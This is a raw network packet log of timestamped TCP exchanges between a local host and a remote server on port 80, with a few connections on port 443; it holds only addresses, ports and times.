Dec 6, 2024 22:09:07.034846067 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.034892082 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.035274982 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.035325050 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.035804033 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.035851002 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.036099911 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.036142111 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.038228989 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.038242102 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.038274050 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.038281918 CET	443	49835	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.038289070 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.038327932 CET	49835	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.039089918 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.039102077 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.039132118 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.039149046 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.039253950 CET	49835	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.039261103 CET	443	49835	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.039271116 CET	49835	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.039274931 CET	443	49835	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.039933920 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.039947033 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.039975882 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.039990902 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.042407990 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.042421103 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.042473078 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.043112993 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.043124914 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.043143034 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.043154955 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.043184042 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.044352055 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.044365883 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.044431925 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.044661045 CET	49840	443	192.168.2.7	13.107.246.63
Dec 6, 2024 22:09:07.044672966 CET	443	49840	13.107.246.63	192.168.2.7
Dec 6, 2024 22:09:07.044884920 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.044898987 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.044935942 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.044950962 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.045722961 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.045742035 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.045778990 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.045792103 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.046597004 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.046622038 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.046647072 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.046660900 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.048470974 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.048528910 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.049197912 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.049211025 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.049247980 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.049268961 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.050048113 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.050098896 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.050906897 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.050920963 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.050968885 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.051769972 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.051784039 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.051799059 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.051819086 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.051841021 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.052625895 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.052639008 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.052676916 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.052689075 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.054307938 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.054321051 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.054353952 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.054364920 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.055159092 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.055218935 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.055977106 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.056029081 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.056827068 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.056875944 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.057688951 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.057740927 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.058540106 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.058553934 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.058597088 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.058609962 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.060225964 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.060239077 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.060278893 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.060293913 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.061903954 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.061917067 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.061964035 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.061975956 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.062760115 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.062812090 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.063611984 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.063625097 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.063667059 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.063678026 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.064445019 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.064457893 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.064502954 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.065406084 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.065455914 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.066946030 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.066963911 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.067006111 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.067018986 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.198359966 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.198471069 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.198563099 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.198607922 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.198931932 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.198976994 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.199342012 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.199388981 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.199954987 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.200006962 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.200159073 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.200201035 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.200896025 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.200952053 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.201565981 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.201617956 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.201769114 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.201812029 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.202292919 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.202337027 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.202510118 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.202553988 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.203278065 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.203418016 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.203681946 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.203893900 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.203931093 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.203946114 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.204627991 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.204711914 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.204849005 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.204896927 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.205662012 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.205718040 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.205888987 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.206235886 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.206686020 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.206748009 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.207072973 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.207129002 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.207719088 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.207779884 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.208024979 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.208076000 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.208733082 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.208795071 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.208937883 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.208993912 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.209733963 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.209789991 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.209944963 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.209996939 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.210941076 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.211003065 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.211334944 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.211376905 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.211905956 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.211952925 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.212155104 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.212198973 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.212820053 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.212877035 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.213012934 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.213064909 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.213943005 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.213998079 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.214277029 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.214335918 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.214898109 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.214956999 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.215073109 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.215120077 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.215909004 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.215961933 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.216087103 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.216134071 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.216964960 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.217027903 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.217159033 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.217206955 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.217983961 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.218039989 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.218188047 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.218234062 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.218986034 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.219043970 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.219146013 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.219193935 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.219990015 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.220046043 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.220168114 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.220217943 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.220993996 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.221051931 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.221219063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.221267939 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.222065926 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.222126007 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.222229004 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.222275972 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.223030090 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.223097086 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.223253012 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.223303080 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.224072933 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.224140882 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.224270105 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.224315882 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.225116014 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.225176096 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.225317955 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.225367069 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.226120949 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.226171970 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.226298094 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.226334095 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.227174997 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.227237940 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.227372885 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.227700949 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.228177071 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.228214025 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.228355885 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.228590012 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.230025053 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.230036974 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.230082989 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.230093002 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.232404947 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.232419014 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.232466936 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.232489109 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.233079910 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.233092070 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.233134031 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.233149052 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.234538078 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.234549999 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.234596968 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.234606981 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.236182928 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.236195087 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.236251116 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.236268044 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.237768888 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.237818956 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.238501072 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.238699913 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.239407063 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.239451885 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.240086079 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.240103960 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.240134001 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.240147114 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.240896940 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.240946054 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.243267059 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.243279934 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.243340015 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.244088888 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.244101048 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.244148970 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.244177103 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.244856119 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.244903088 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.245605946 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.245690107 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.247193098 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.247277021 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.247977018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.248035908 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.248735905 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.248749018 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.248795986 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.250170946 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.250188112 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.250235081 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.250248909 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.251611948 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.251669884 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.252284050 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.252357006 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.253021955 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.253035069 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.253094912 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.255264997 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.255289078 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.255358934 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.255889893 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.255943060 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.256602049 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.256613016 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.256649017 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.257303953 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.257333994 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.257333994 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.258738995 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.258791924 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.259407043 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.259454966 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.260154963 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.260205984 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.260870934 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.260916948 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.261567116 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.261578083 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.261611938 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.261631966 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.262960911 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.263010979 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.390642881 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.390753031 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.390801907 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.390836000 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.391164064 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.391206026 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.391444921 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.391484976 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.392261982 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.392302990 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.392554998 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.392592907 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.392879009 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.392918110 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.393909931 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.393954992 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.394098997 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.394140005 CET	49830	80	192.168.2.7	185.215.113.16
Dec 6, 2024 22:09:07.394586086 CET	80	49830	185.215.113.16	192.168.2.7
Dec 6, 2024 22:09:07.394635916 CET	49830	80	192.168.2.7	185.215.113.16
